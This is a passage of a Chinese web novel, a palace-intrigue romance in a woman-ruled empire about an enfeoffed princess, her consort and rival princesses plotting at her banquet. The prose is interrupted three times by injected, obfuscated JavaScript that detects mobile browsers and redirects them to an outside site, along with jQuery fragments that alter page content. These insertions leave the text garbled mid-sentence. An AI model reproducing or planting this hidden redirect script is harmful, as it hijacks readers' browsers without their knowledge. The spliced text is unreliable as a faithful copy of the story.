“母皇没同意。” 言时提着衣袍,转身就要回书房:“我不信,我要亲耳听到母皇说,母皇怎么可能舍得把父君关一辈子。” 言笛梵拉住他的胳膊:“母皇是不会见你的。” 言时是个不撞南墙不回头的性子:“我不信。” 等到了书房外,言时被春秋拦在了门外:“三皇子还是回去吧,陛下正在处理政务,实在没时间。 他垂头丧气,像一个充满气的气球泄了气般:“真的没有办法了吗?” 有的,言笛梵的眼中泛着幽光,只要她登上那个位置。 “母皇允我们一个月见父君一次,现在去看看父君吧。” 往日繁华的启祥宫落败了起来,通往的路上落了一地的树叶,无人打扫,像是一处冷宫,不过一日的光景,就变成了现在的模样,直教人唏嘘。 门外站着两个侍卫,眼神淡漠,将两人拦在门外。 “未经陛下允许,不得入内。”这是只效忠于言武帝的金吾卫,对待其他人,不留情面。 言笛梵从袖口处拿出言武帝的亲笔书信:“母皇亲允,容我们一月见一次。” 侍卫确认完毕,放了两人进去。 宫院里的海棠花被人打落在地,连那棵一向常绿的大树,也衰败起来,就像是生机骤然被夺去。 皇贵俞身边的侍从基本上换了一批,只有两个侍从在,其余人不知去了哪里,吃穿用度缩减了四五倍,正值午时,桌上的饭菜只有四五碟,饭菜看着也很一般。 见到如此光景,言时一下红了眼眶:“父君。” 皇贵俞站起身,望着他的这一对儿女,潸然落泪:“时儿,笛梵,你们怎么在这?” “妹妹去求母皇,母皇允我们一个月来一次。” “父君,你可还好?”言笛梵问。 “我都好,倒是你们,在这个时候,一定要顾好自己,特别是你,笛梵,马上就要入朝了,是父君连累了你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587062|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 言笛梵摇头;“不碍事的,父君。” “父君,你骗我,你怎么可能好。”言时指了指桌上的饭菜,“这些饭菜,怎么能咽下去。” “照顾父君的人呢?都到哪里去了。” 皇贵俞的侍从回道:“三皇子,内务府调来六个人照顾,可另外的四个,跑到别处伺候去了。” 言时抽出腰侧别的鞭子,恶狠狠道:“都到哪里去了,本皇子要抽死她们,一群踩高捧低的狗奴才。” 言笛梵眼疾手快的拦住他:“别冲动。” 宫中向来如此,踩高捧低,皇贵俞一朝失势,夺多的是落井下石的,想要永远不发生这样的事,那就把权势握自己的手上。 皇贵俞经此一事,沉稳了不少,他道:“时儿,笛梵说的对。” 言时一把把鞭子甩下地上:“我气不过。” “答应我,日后一定要事事听笛梵的。”言时被他养的不谙世事,单纯的过头,说简单点,就是蠢,他怕日后有人利用言时做什么不利的事。 言笛梵握住皇贵俞的手:“父君,我会好好看住他的。” “父君且放心,春去秋来,四季更替,儿臣都在。” 她这句话说的是,无论什么东西,总有会变的那天,包括那个位置。 * “大皇女,陛下说,挑一个合眼缘的便好。” 春秋背后的十一个人,齐齐展露出手中的画像,画像上的全是不同类型的男子,有魁梧型,妩媚型,呆萌型,但更多的,是清瘦型,文弱书生的那一挂,甚至样貌间跟与霍承起甚是相似。 言昭离惊疑问道:“母皇的意思是?”一个不好的想法在脑子里闪现,言武帝不会催婚吧。 春秋:“陛下说,大皇女如今年岁也不小了,是时候该成家立业了。” 言昭离:…… 这边的言昭离被催婚,那边的祁逾白,被人支到另一个地方,说是有人要与他叙旧。 他到了地方,发现是当初教他规矩的叟叟。 要说有旧,肯定是没有的,叟叟明显是有话与他说。 “祁小郎近来可好?” “托叟叟的福,奴与大皇女甚好。” “今日也听说了祁小郎与大皇女的感情甚笃,我心里甚是欣慰。”他教祁小郎如何取悦女子和获得宠爱,如今看来,祁小郎学的极为出色,教出这么一个优秀门生,叟叟心里颇为骄傲。 “祁小郎,我今日前来,是来教你如何长久的获得大皇女的宠爱。” 祁逾白问:“是什么?” 叟叟端起桌上的茶,喝了一口,润过嗓子后才开口:“想要长久的获得一个女子的宠爱,那就是要大度,大皇女如今也已到了娶侍郎的年纪,这个时候,你千万不能因为心里的醋意而发脾气,要知道,一个女子对男子的爱,也就会在这无止尽的争吵中消磨殆尽。” “你要做的,是大度,要笑着迎接大皇女的侍郎,然后在大皇女生下长女后,恳请大皇女的允许,生一个与自己血脉相连的孩子,后半段的人生,可就全系在那个孩子身上了。” 见祁逾白愈发冷的面容,他劝道:“这个世界上,能有几个女子一心一意的待一个男子,要是有,那也是画本子才会出现的事,男子的处境本就艰难,咱们可不能做那种陷入爱情的傻子。” “要大度吗?”祁逾白捏碎杯盏,瑰丽的容颜透着冷淡,“永远不可能。”他说的冷戾,眼角的泪痣却像是掉下来的泪珠。 叟叟叹了一声又一声的气,多说无用,他站起身来:“话说至于此,剩下的,看你自己的造化了。” 上一个这么说的,失去了女子的宠爱,变得人人可欺,最后落了个投井自杀的下场。 唉,他似乎预料到了祁逾白的下场。 30. 第 30 章 “昭昭,你怎么来了?”言武帝很是高兴。 “可看到画像了,是否有心怡的人选。”言昭离身后的春秋冲言武帝摇了要头,大皇女没选。 言武帝微怔,随后说道:“昭昭可是不满意,没事,言国大好儿郎多,昭昭只要看上,母皇就给你下旨。” 言昭离在言武帝关切的目光跪了下来,她诚恳道:“母皇,儿臣并不想娶侍郎,儿臣已有心怡之人,且已许下一生一世一双人的诺言。” 言武帝轻叹一声:“是那个祁小郎吗?” 言昭离身形板正:“是。” “昭昭,诺言这个东西,是会变的。”言武帝像是陷入了某种回忆,以一种过来人的口吻劝她,“你会明白,那些情情爱爱就是这个世上最没用的东西,唯一有用的,就是手上掌握的权势。” 林太傅是言武帝的师父,凤后是林太傅的长子,二人从小一起长大,是亲密无间的青梅竹马,又在情窦初开的年纪对彼此动心,在娶凤后的晚上,言武帝意气风发的对他许诺:“卿卿,此生唯你一人,我必不负你。” 成婚的一年,言武帝确实如她所说,但后来,言武帝陷入了夺帝的漩涡,为了维系与朝中大臣的关系,言武帝又娶了她们的儿子。 “卿卿,你放心,我娶他们只是为了获得朝臣的支持。”凤后没有生气,只是心疼她的辛苦,言武帝一整颗心都放了下来,可她却没看到凤后黯淡的眼神。 后来,言武帝登位了,可后宫仍然不断进新人,对她来说,凤后无疑是最特殊的,是她的心上人,可她也能把这份爱分给别人,哪怕是施舍。 一次次失望,凤后郁结于心,在一次寒冬日离去。 言武帝在凤后去世后才幡然醒悟,可惜斯人已逝,一切都来不及。 “母皇,儿臣不知道以后会发生什么变化,但现在,儿臣的心中只有一人。”眼前人与记忆里的人渐渐重合,言武帝有些恍惚,言昭离与已逝凤后的相貌极为相似,特别是那双眼睛,熠熠生辉,好似缀满了万千星辰。 “就算朕今日不答应,你也有别的办法。”言武帝还记得她赏赐给言昭离的一个承诺,皇帝一言,驷马难追。 “不用用掉那个,朕明白你的意思,”言武帝默然,“朕成全你。” “不过,祁小郎的身份过于低微,朕不允你提拔为侍郎,要提拔,也要等你下次立功。”这样,也能堵住众人的嘴。 言昭离磕头,声音中充满了激动:“儿臣多谢母皇成全。” 言昭离走后,言武帝问春秋:“你看,大皇女是不是颇有朕的风范。”都是一样的狂妄,不知天高地厚,这样一个重要的诺言,就这样许出去了。 春秋笑道:“是,奴也觉得大皇女像极了年轻的陛下。” “朕这几个儿女中,最像朕的,就是昭昭了。”言武帝摇头,“可惜还是太过于年轻。” 她环视了整座大殿,金碧璀璨,极尽奢侈,这座殿中,坐着整个天下最尊贵的人,掌握着他人的生杀大权,所有人都怕她,敬她。 权势,确实会让人着迷。 这一场没有硝烟的夺帝之争,一旦开始,就只有你死我亡。 言昭离要争那个帝位,就必须得巩固与朝中大臣的关系,而成亲,是最能拉近距离的了。 她对祁小郎的承诺,又能维持了几何? * 言昭离最受言武帝宠爱,所赐的府邸也大上许多,临近夏日,天气也变得酷热起来,言昭离近日喜欢在凉亭乘凉,凉亭建在湖中央,闲着无事,还能给下面的小鱼喂食。 祁逾白回来时,她正捧着一手鱼食,往湖中缓慢撒去。 祁逾白语气冷淡:“回来了?”他知道春秋等人是来让言昭离选侍郎的,而刚才言昭离进宫,想必是为了谢恩。 “嗯。”言昭离没看他,专心给鱼儿喂食,不知怎的,她有些心虚。 明明前段时间还答应他不会娶别的男人,结果今日春秋就拿来画像,让她选。 “选了谁?” 言昭离挺直腰板,反正祁逾白也不记得她答应的事,而且她已经拒绝了,理直气壮答道:“没选。” 祁逾白从她手心里抓了点鱼食,一把子往湖面撒,刚才还围在言昭离那块湖面上吃食的鱼,立马跑到他那边,他语气散漫:“为什么不选?” “没有喜欢的。” 他把手中的鱼食全撒了,言昭离‘哎’了一声:“你别撒那么多,鱼都要撑死了,哪有你这样喂鱼的。” 他的一举一动都透着股幼稚的劲,言昭离推了他一把,让他到一边站着去,这可都是她精心喂养的鱼。 祁逾白眉眼低垂:“言武帝没有责怪吗?” “没有。” “一个大皇女,没有侍郎,真的好吗?” 言昭离答非所问:“我要是真娶一个回来,那人刁难,你的日子会不会难过。” 言昭离拍了拍胸膛,眉眼间在阳光的照射下更加生动,她脸边的碎发被风吹的轻轻扬起,“说好的,我要保护你,我不会食言的。” 祁逾白摩挲着手指,想把言昭离扬起的碎发别到耳后,他这么想着,手也就行动了,等别好后,祁逾白面色平静,但耳廓慢慢升高的温度,都在昭示他内心的不平静。 “嗯,答应我的,只娶我一人,没食言。” 原本祁逾白动手帮她别发,她就已经很惊讶了,结果知道他记得那晚的事情,眼睛都睁大了:“你记得?” 祁逾白说的含糊不清:“记得一些,不多。” 不多是多少,言昭有些抓心挠肝,真的很想知道祁逾白到底记起多少,那个晚上,她可没少引诱祁逾白说些什么。 不过,再提这些,也是徒增尴尬。 言昭离非常生硬的专移话题:“回头就是封王宴,我让皇贵俞被永久囚禁,已经成为了四皇女的眼中钉,接下来,必定不太平。” 四皇女虽有温柔贤良的素名,可实际却是个出手狠辣的,她很会伪装,原文中,最后的夺帝之争,四皇女和六皇女角逐到最后,最后,六皇女也是损失了不少才争得帝位。 祁逾白沉声提醒:“此人,不得不防。” 现在的言昭离太过于招眼,引起了所有人的注意,已经有不少的朝臣把宝押在她身上,可言昭离根本无心争帝。 想要争帝位的,势必会把目光投向言昭离,她们要把她拉下台,这次封王宴,必定不会太平。 “往后,还是要低调起来。” “是。”言昭离突然想起一件事来,“原剧情里,无名是言柳那边的人,且是个巨大的助力,要不就凭借这次封王宴,为他们搭桥,也顺便向言柳示好。” 言柳是原剧情里的主角,言昭离作为剧情里的配角,要想活到最后,关系可以不至于太好,但也不能很僵硬,她现在封王,除非有重大过失,否则没人能对她不利。 * 四皇女言笛梵,未进入朝堂,还未有府邸,她住在皇女府上。 言笛梵手握毛笔,一笔一划的在纸上抄写经文,这是为言武帝祈福抄的,一月后,就是言武帝的生辰。 她写下一个字,似是觉得不好,气的把整张纸都撕了,神情狠厉,哪有往日半分的温柔。 这才是她原本的模样,面容虽姣好,可五官硬朗,眼睛是下三百,给人的第一印象便是不好惹,可偏偏又装成温柔的模样,十分的怪诞。 她身边的侍从苏青捡起一小块碎片,心疼道:“皇女何必对自己要求如此高,奴瞧着,这字写的很好。”言笛梵写这些经文,耗时了好几天,可现下却因为一个字,放弃了前面所写的。 其实,言笛梵的字在所有皇子皇女中,是最为好的,可偏偏,她对自己要求极高。 “你懂什么,要呈交给母皇的,必定要是最好的。” 苏青:“奴是不懂,可奴心疼四皇女。”她从小便被选在言笛梵的身边照顾,即使言笛梵的脾性不好,可也从未亏待过她。 言笛梵争强好胜,凡事都要做到最好,只为能得到言武帝的一句称赞,可偏偏,无论她做的再好,也比不上在言武帝心中的言昭离,事事不如她,愚蠢蠢笨,明明都是母皇所生,可母皇就是看重她,难道就因为她的父君不是那个已逝的凤后,这次,竟因为一个剿匪,侥幸封王,风光无限。 甚至还在言武帝那告了父君的状,让父君终生囚禁,再也不能给她多点助力,她是知道父君与江段有交易的,父君生活奢侈无比,每月源源不断的金银,不少官员的投诚,这些,她顺藤摸瓜摸知道的,可这些获利的事情,为何不做。 “皇女放心,这次的封王宴,底下的人已经做好了准备。” 言笛梵重新落笔:“做事都妥当些,不要留下任何痕迹。” 苏青:“是。” 这次的封王宴,她定不会让言昭离好过。 * “儿臣给父君请安。” 云风殿中,贤俞突发头疾,将言柳叫过来侍疾。 “六皇女,你是最让本俞省心的,这次封王宴,你知道怎么做。”名为侍疾,实为敲打。 言柳拘手:“儿臣明白。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592047|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她要做的,是站在旁看戏,再在这把火烧的不够旺时,添柴,言昭离和言笛梵争的鱼死网破,对她越有利。 贤俞沉着声:“你觉得,谁会胜出。” 言柳斟酌着话语:“儿臣不知,但无论谁胜出,都会成为儿臣的手下败将。” “说的不错,既然知道怎么做,那就退下吧,我这,也没什么好嘱咐你的了。” “是,父君好生休息。” 她待的时间短暂,与贤俞之间的相处,也完全不像一个父女之间相处的那样。 待她走后,贤俞嘴角勾起:“本俞的女儿,真是越来越会猜中本俞的心了,真不知道这是一件好事还是坏事。” 贤俞身边的侍臣秋棠道:“主子,这必定是好事,证明六皇女对您越来越上心了。” “非也。”未尽的话她不再多说,留下秋棠兀自疑惑。 六皇女言柳,是言武帝最不重视的女儿,她的生父,只是一个正四品容华,未得言武帝应允,不喝避子药,让言武帝怀孕,妄图通过生女上位,最后被杖毙,言柳未出生前就没有了父君,出生后又被抛置一边,只留下奶妈和几个侍从照顾。 生父犯了如此的滔天大罪,言武帝又不对这个孩子上心,低下的宫人自然是轻视有加,言柳五岁前,从未吃饱一顿饭,衣服在人前鲜艳,人后却不知道破破烂烂成什么样子。 一次,她偷跑了出去,撞见了言昭离,言昭离八岁,稚嫩的面容上全是娇纵。 “都说了本皇女不喜欢喝药,本皇女不喝。”言昭离的身后跟着一大群侍从,比她的侍从多了整整了三倍。 “良药利于口,大皇女,还是喝点吧。” “大皇女,喝完药,感冒才能快快走开。” 那些侍从的脸上,都是她没见过的神态,有忧愁,有着急,有心疼……都是围着言昭离一个人的。 喝药,她从来没喝过药,生病了都是自己扛的,病的实在严重,照顾她的侍从也只会说一句:“早些死了算了,说不定我还能再谋一份好的差事。” “也不必再照顾这瘟神,我怎么这么倒霉,调到了这个瘟神这里。” “昭昭,怎么不喝药?”言武帝走了过来,将言昭离抱在怀里,接过下人递过来的药碗,一勺一勺喂到言昭离嘴边。 碗里的药实在苦,言昭离喝了几口便不肯再喝了,她把头扭到一边,拒绝喝药:“好苦,不想喝了。” 勺里的药被她这一扭头的动作弄得洒了些,零星的药滴到言武帝的袖子上,言武帝毫不在意,温声劝道:“昭昭喝了之后,身体才会好。” 言昭离晃了晃言武帝的袖子:“母皇,儿臣身体已经好了,儿臣不想喝。” “你呀。” 言柳自出生起见过言武帝的面屈指可数,她的记忆里,始终停留在言武帝威严的一面,原来母皇也会这么温柔。 言柳眼巴巴巴的看着这一幕,她也想母皇这么待她,视线逐渐落在言武帝端着的药上,天真的想着,她要是把这个喝了,母皇能不能注意到她。 可她刚伸出脚,就看到发黑的脚,再低头,是黝黑的下手,脏兮兮的衣服,看着远处被抱在怀里的言昭离,面色红润,穿着她认不出来的料子,干干净净的。 她的心里生出无限的自卑,她想,母皇一定更喜欢干净的小孩。 等回到住处,她第一时间奔向了院里的那口井,她要把自己洗干净,再去讨要母皇手里的那碗药。 侍从不知道从哪里冒了出来,拦住了她。 “你个小杂碎的,刚才跑到哪里去了?” 她指尖蜷缩:“我……我没去哪里。” “她胡说,我刚才亲眼看到她从御花园里出来,刚才陛下可是在那里,她肯定是想告状。” “好呀,我们给你吃给你穿,你想把我们拖下水,今天一定要给你长点记性。” “我没有。” 侍从可不管那么多,他们撸起袖子,言柳条件反射的蹲在地上,双手抱住膝盖,这是她挨打那么多次总结出来受伤最轻的姿势。 鲜血混着泪水流了下来,她蜷缩在地上,旁边那口井里的水清澈见底,可她触碰不到,于是,她就用鲜血洗了起来。 手越搓越红,遮盖了那些灰泥。 她可以去见母皇了,干干净净的去见母皇。 “殿下?殿下?” 回到皇女府后,底下人端上来一碗药,她近日感染了风寒。 言柳端过来,一饮而尽,眼底满是漠然。 五岁那年喝不到的药,她再也不需要了。 31. 第 31 章 短暂的休息日过去后,很快轮到了封王宴,万里无云,清风弗朗,是钦天监选的良道吉日。 今日来往的宾客很多,大皇女府上的人络绎不绝,言昭离作为主人公,一直待在前厅待客。 “妹妹恭喜皇姐封王。”言落依是同言柳一齐来的,两人恰巧在路上碰到。 言昭离回道:“多谢两位妹妹。” 言落依还是一副不找调的模样:“皇姐,等会可要好好看看我送的礼,那可是我费了好大功夫弄来的。” “一定。” “皇姐也不要忘了看我的。”言柳出声。 她脸上挂着浅浅的微笑,她五官柔和,一身竹青翠竹素软缎衣袍,如风如月,给人的第一印象很是舒服。 言昭离回以同样的笑容:“不会忘的。” “各位姐姐妹妹聊什么呢?这么开心。”一道声音插了进来,很是突兀,几人见是言时和言笛梵,气氛有一瞬间的僵硬。 “在聊礼物的事情。”言落依出声缓和。 “啊,”他做出浮夸的表情,“皇姐一时封了王,皇弟我这还没反应过来,什么也没准备。” 距离言武帝宣告言昭离封王的事情已经过了半月有余,举国皆知的事情,不可能有人不知道。 他眨巴下眼睛:“皇姐应该不会怪罪吧,另外,皇姐封了王,应该也看不上皇弟的礼物。”他这句话说的倒是刻薄。 言时因为皇贵俞的事情,始终对言昭离有一份敌意,话里话外都在针对言昭离。 言笛梵像是听不出来一样,只站在旁边温和的笑着,维持她的人设。 言昭离:“皇弟毕竟年纪小,考虑不周。”她直视言时,身上的气势让人不可忽视,“不过只是考虑不周到而已,要是脑子坏了,那可真是蠢人一个了。” 这可指着鼻子骂他了,言时脸上的怒火几乎要压不住,被言笛梵拉住。 “皇姐说的是,皇妹受教。” 前厅迎接的基本上都是朝中大臣及世家小姐,后厅则是些世家公子,前厅的修罗场很快传开,后厅的风波也不遑多让。 “看到了吗?那便是市井间流传的祁小郎,从醉仙坊出身,也不妨碍他现在成为大皇女身边的宠夫。” “有些人真是好命啊,这么卑贱的出身,现在竟然高我们一头,不就是仗着大皇女的宠爱吗?” “就是,手段如此了得,谁知道靠的是什么?” “哎,你们这就说错了,人家现在可不是祁小郎,而是祁侧夫,大皇女也不能叫大皇女了,而是庆武王。” 他们的话题逐渐从祁逾白偏向言昭离:“几位皇女中,只有庆武王到现在还没有侍郎,出门前,我母亲再三叮嘱我,让我一定要攀上庆武王。” “我母亲也是这么叮嘱我,早知道当初,我就应该一早扎进庆武王这座池子里。” “哎,你当初可不是这么说的,你说的是,”他特意捏着嗓子,学刚才那人说话,“大皇女如此恶毒蛮横,我就算出家,一辈子与青灯作伴,也断不会嫁给她。” “怎么,才短短几月过去,这就变卦了。” 众人笑做一团,说要扎进言昭离这座池子的人脸微红,可神情并未有半分扭捏:“难道你们不是如此,庆武王如此英勇,前途一片光明,你们难道不会心动。” 众人又一致认同,大皇女未到二十便已封王,又如此得言武帝的宠爱,很难保证,未来的帝位不是她的,他们都是家族精心培养的公子,最大的用处便是巩固家族的地位,要是嫁,谁不想嫁给如此有权有势的女人,更何况大皇女如此貌美。 有人泼了冷水:“心动又如何,你这算盘注定得落空,我听传言说,庆武王亲自进宫,求得圣上旨意,此生只有祁小郎一人。” “你这传言是假的吧,就算是平常百姓家,都是一妻多夫,更遑论皇室向来多情,就连当今陛下,都未做到过。” “确有此事,我家下人的表舅的侄子的二女儿在陛下宫里当差,她是这么说的。” 见众人不信,他伸出三个手指头:“我跟你们发誓,如有虚言,让我嫁不到好的妻主。” 这个世界的男子最大的心愿便是嫁给一个好的妻主,能好好待自己,这个誓,发的也是够狠,众人信了。 “我不信,庆武王只是现在被蛊惑了,以后会想明白的。” “哎,难道我注定嫁不了庆武王了。” “可恶,那个祁侧夫凭什么,不就是长得好看些声音好听些身材好些吗,值得大皇女如此倾心相待吗?” 有人向上一个说话的人翻了个白眼:“你说了这么多不都是在在夸他吗?承认吧,你就是恨自己没有他的容貌他的声音他的身材。” “庆武王就算承诺了又如何,世上的负心女还少吗?我定会将那祁侧夫从庆武王的心上挤下来。” 众人的神色各异,有人自欺欺己,有人惊讶,有人哀叹,有人嫉妒,有人偷偷下定决心。 祁逾白正与朝中大臣的侍郎坐在一起交谈,言昭离尚未娶侍郎,他是她后院里唯一的男人,哪怕身份低微,随着言昭离的身份船高水涨,他也能出面接待这些侍郎,这些侍郎也根本不敢多说什么。 这些话被传到祁逾白的耳里,他毫不在意的挥了挥手,这通身的气度,让在坐的侍郎们都不惊暗暗赞赏。 瞧瞧,就算这祁侧夫的身份再如何卑贱,那正宫的气度摆在那,至少现在,其他人都越不到他的头上去。 赞赏的同时,也不禁在心里疑惑,这祁侧夫到底做了什么,让庆武王对他如此深情相待,这个宴席,为了给祁侧夫撑场面,把身边的近身侍从翠鸣都留下了。 要是他们掌握了祁侧夫那些勾人的法子,说不定也就不会家宅不宁,外面的狐媚子横生,一时间,他们看祁逾白的眼神都有些热切。 午时未到,言武帝就已经来了,封王宴上,需要她当众给言昭离冠发,赐掌印和册文。 “奉天承运皇帝诏曰,朕的大皇女,英勇善战,聪慧有加,剿灭匪寇,捉拿污官,于社稷有功,特封尔为庆武王,石邑万户,赐金册金宝,世袭罔替。” 言武帝身穿明黄色龙袍,言昭离穿的是跟言武帝同色系的衣服,只是颜色要暗上许多,与言武帝龙袍上五爪龙不同的是,她衣服上的少了一爪,‘五爪为龙,四爪为蟒’,这也是为了不僭越。 言武帝亲手给言昭离束发,带上玉制的发冠,发冠上雕刻着镂空的梅花,这是言武帝亲自吩咐雕刻的,也是凤后最喜欢的花,凤后不能伴言昭离左右,那就换另一种方式。 言昭离碎发随风飘扬,不时露出饱满的额头,现在的装束,让她明妍的容颜多了几分英气,更加引人注目。 她低下头,高声道:“儿臣领旨,多谢母皇。” 授掌印和册文时,礼官宣唱:“钦此,王其拜受。” 底下跪了一地,他们齐声高喊,为言昭离的荣耀再加上一层光辉:“恭喜大皇女册封为庆武王。” “臣等拜见庆武王。” 宴席正式开始,言武帝没有多待就走了,她还有政务在身。 宴席上的气氛其乐融融,可霍承起却觉得有些烦闷,索性站起身来,向外走去。 他性子沉闷,知心好友只有姜坞一个,姜坞因为感染了风寒,没有来,宴席上,他也无人可说话。 走至一个湖面前,他蓦的回想起被六皇女从水中救上来的场景,自那日后,六皇女便去向陛下求旨,言武帝派人来问了他的意愿,得知他同意后,便下旨了。 和六皇女定亲的那个夜晚,他高兴的一整晚都睡不着,只觉多日的梦想实现了。 尽管他们定过亲,可碍于世人的视线,私下从未见过面,只在宴席上见过几面。 他有些想念六皇女,不知是不是老天察觉到他的思念,他在前方看到了那个熟悉的身影,按捺着心里的激动,他小心翼翼的上前,生怕吓到前面的人。 “你说,庆武王未来会不会继位?” “疯了,咱们的陛下现今正健朗,就敢讨论这些。” 说话的人满不在意:“这有什么,咱们私底下偷偷讨论就是了,这又没别人。” 两人站在湖水边,周围是些灌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听着两人肆无忌惮的贬低自己,她却未有所行动,是不在意,还是早就习惯了这些风言风语。 “可六皇女跟霍家那个公子定亲,那自然而然不就得到了霍家的助力吗?” 那人轻摇头:“我听说霍家那个,原本属意大皇女的,现在大皇女封了王,那位指不定在心中后悔,现在应该在绞尽脑汁想办法解除婚约。” 言柳不愿再听下去,转身欲走,没想到撞进一双熟悉的眸子里,面上满是惊讶。 霍承起他的注意力还停留在言柳的身上,见她转身的动作,一瞬间,很像把自己藏起来,可根本来不及,在言柳的注视下,他只觉得手脚都僵硬住了。 那两人的交谈声变大:“陛下如此信任霍家,如果霍承起想要解除婚约,那必定很容易。” “六皇女如此不中用,说不定很快就能接触婚约。” “要不要来打赌,看霍家什么时候能解除婚约。” 注意到言柳逐渐暗淡的眼神,霍承起心生怒火,他大步上前,从树后走了出来。 “这根本是无稽之谈。” 背后说人坏话还被当事人听到了,谈论的两人都有些尴尬,接着,一人想到自己的家世与霍承起旗鼓相当,当即挺直腰板:“怎么,难道我们说错了吗。” “简直放屁。”霍承起气的说起了脏话,他是不常说脏话的,“我是永远不可能解除婚约的。” 那人像是听到了什么天大的笑话:“大皇女前路如此光明,六皇女又如此不中用,谁会放着一个珍珠不要,转而去将鱼目捧在手心上。” 霍承起第一次与人起了争执,声音虽小,但却透着一股执拗:“六皇女绝不是鱼目。”她是珍宝,是世上唯一无二的珍宝。 那人想继续嘲讽,结果瞥见从树后走出来的言柳,顿时噤声,六皇女就算再不受重视,也是陛下的女儿,私下里怎么说都行,可明面上是不行的,趁着六皇女还未走过来,他们落荒而逃。 言柳走到霍承起身后:“你不必与他们争执的,他们说的也不无道理,对吗?” “不对,”霍承起转身,一双眸子满是真诚,“至少在我看来,他们说的都不对。” “殿下待人温和,会向身处困境的人伸出手,也会设身处地的考虑他人的处境。”霍承起的脑海里浮现与言柳相处的种种,被下药时,言柳考虑到他的名声,没有任何声张,落水时,也是考虑到他的名声,答应娶他。 “殿下很好,只是他们没有一双发现美好的眼睛。”这句堪似告白的话语,说的他面红耳赤,自然错过了言柳躲闪的眼神。 32. 第 32 章 “殿下不生气吗?那些人这么说。” 言柳眺望无波无澜的湖面:“生气?有什么好生气的,这些话,从小到大,我听过无数次了。” 她自嘲的笑了笑:“其实他们说的,还是有几分道理的。” 霍承起的声音听起来有些难过:“不要这样说,殿下。” 他说:“我的母亲是镇国大将军,一生都在驻守边疆,自我少时有记忆起,就很少见到母亲,小时候又因为性格木讷,经常被人嘲笑,可后来才发现,他们之所以嘲笑我,是因为嫉妒我母亲显赫的功绩,他们想通过贬低我,把我拉进泥潭。” “从那以后,我明白了一个道理,这个世界上,没有比自己更重要的存在了,至于其他人说的话语,完全不需要放在心上,所以,殿下,千万不要因此妄自菲薄。” “嗯。”言柳低低应了一声。 湖面上像是被人投下了小石子,泛起了阵阵波澜,这波澜很小,不仔细观察,是发现不了的,言柳说:“我有一个小名,柳柳,以后你便这样唤我吧。” “什……什么?”霍承起的脑子有片刻空白,小名,只有亲近之人才能喊的,他对殿下来说,也算亲近之人吗? “你不觉得一直叫我六皇女,太过于生分了吗?我们是定过亲的,理应亲近些。” 柳柳,霍承起将这个小名在心里反复默念,最后,他轻喊出声:“柳柳。” “嗯。”言柳的面上带了一丝不自然,这个小名,她从未告诉过旁人,这也是第一次被人叫。 昭昭,寓意昭昭明月,是言武帝给言昭离起的小名,言柳不得宠,是没有小名的,但她小时很羡慕言昭离能有小名,于是偷偷的给自己起了个小名,皎皎。 有了小名的她很是兴奋,在纸上写了一遍又一遍,她年幼,笔还拿不稳,不小心把墨水弄到了袖口上,侍从看到后很是生气,这代表她得清洗。 且这衣服是内务府新送来的,侍从还等着拿去卖钱,一旦污损,就算清洗干净,出售的价格也会大打折扣。 侍从也怕她写信向言武帝告状,于是想拿走言柳写的纸,言柳迅速把纸揉成一团,藏匿在手心。 一个侍从钳制住她的肩膀,另一个侍从上前将她的手指一个个掰开,言柳怒急,狠狠的咬上侍从的胳膊,那人吃痛,扇了她两巴掌,又踢了她几脚。 孩童的力量怎么抵得过成人,最后,手心的纸还是被夺去了,纸被摊开,上面歪歪扭扭的写了‘皎皎’两字。 那些侍从发出嘲笑:“昭昭,皎皎,就你,还想向大皇女一样,莫不是还期望着陛下能像待大皇女一样待你。” “有些人啊,还真是看不清自己的地位,大皇女就如同天上的明月,你,最多也就是地上的沟水,看一眼都嫌脏。” 他们把纸撕成碎片,从言柳的头上一点点撒下,落了满地的碎片,像是撕下了一块遮羞布,无情的勘破她的美梦。 言柳看向手心唯一攥紧的纸片,只有一个‘皎’字,皎,形容月光明亮,洁白,她满身泥泞,确实不适合她。 她想起御花园湖边生长的柳树,无人看管,却生长得极好,繁茂成荫,每年夏天,垂柳拂水,都能在水面上掀起波澜,她要做,就做那柳枝,在无人的角落,生长发芽,然后搅的那一池的春水再也不能平静。 ‘柳’这个字,其实才是最衬她的。 “柳柳,你要回去吗?” 想起刚才的宴席,言柳的眉眼间闪过一丝烦躁:“不回去,在这待会。” 霍承起悄悄翘起了嘴角:“那我陪你。” 两人一起散步在湖边,享受着这静谧的时光。 * 作为此次宴席的主人公,言昭离几乎忙的脱不开身,每一个朝中大臣都要向她恭贺。 她故意把酒洒在衣服上,借口要下去换衣服才逃脱,宴席没开始之前,祁逾白千叮咛万嘱咐,让她一定要在醉酒前的临界值离开,然后去找他。 从侍从那得知祁逾白的位置,她直接前往,在路上,意外撞上了一个少年。 那少年容貌俊美,但瞧着极为病弱,一步三喘,手心还紧紧攥着一个手帕,他给言昭离行礼,不小心掉落了手帕。 “不必多礼。”言昭离从他旁边路过,他正要弯下腰捡手帕,结果重心不稳,眼看马上就要跌落在地上。 言昭离伸出手,好心的拉了他一把,结果他顺势倒在言昭离的怀里,不到三秒,言昭离迅速将他拉开。 她算明白了,这是一个投怀送抱的。 